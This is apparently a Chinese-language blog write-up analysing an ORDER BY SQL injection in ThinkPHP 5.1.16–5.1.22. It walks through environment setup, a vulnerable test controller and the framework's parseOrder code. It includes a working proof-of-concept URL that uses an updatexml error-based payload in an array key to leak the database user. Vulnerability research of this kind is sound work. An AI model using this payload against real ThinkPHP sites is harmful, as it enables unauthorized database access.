thinkphp5框架SQL注入分析:parseOrderby

前言

漏洞存在于Builder类的parseOrderby方法中,order by注入

漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22

测试的时候用php7一直报错,换成php5才行

环境搭建

下载源码

1
composer create-project --prefer-dist topthink/think=5.1.22 tp5122

修改composer.json,执行composer update

1
2
3
4
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.22"
}

添加控制器

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'test'])->order($orderby)->find();
var_dump($result);
}
}

漏洞复现

1
http://localhost/tp5122/public/?orderby[id`||updatexml(1,concat(0x7e,user()),0)%23]=1

W0veIK.png

漏洞分析

1.输入的payload在控制器中被传递给order方法

1
?orderby[id`||updatexml(1,concat(0x7e,user()),0)%23]=1

W0vVVx.png

2.输入的orderby数组在order方法中被赋值给了$this->options['order']

W0vZa6.png

3.order方法结束后进入find,然后再调用think\db\connection\Mysql的find

W0vhQJ.png

4.在think\db\connection\Mysql的find中,主要干了两件事

  • select生成sql语句
  • query执行sql语句

先来看select

W0v7o6.png

5.select方法中取出了之前赋值给$this->options['order']的数组,也就是我们输入的orderby数组,然后传递给parseOrder。最后用str_replace替换模板生成sql语句

W0v1sA.png

6.在parseOrder中,用户输入未经过任何过滤就拼接到sql语句中,只需要闭合掉在parseKey中拼接上的反引号即可。值得注意的是这里实际被拼接进sql语句的是传入orderby数组的键$key,数组的值最终传递给$sort然后被注释掉

W0vdzQ.png

7.最后生成好的$sql被带入query执行

W0v6oV.png

总结

需要注意下parseOrder中拼接sql语句的过程,理解为什么要把注入语句放在orderby数组的键中。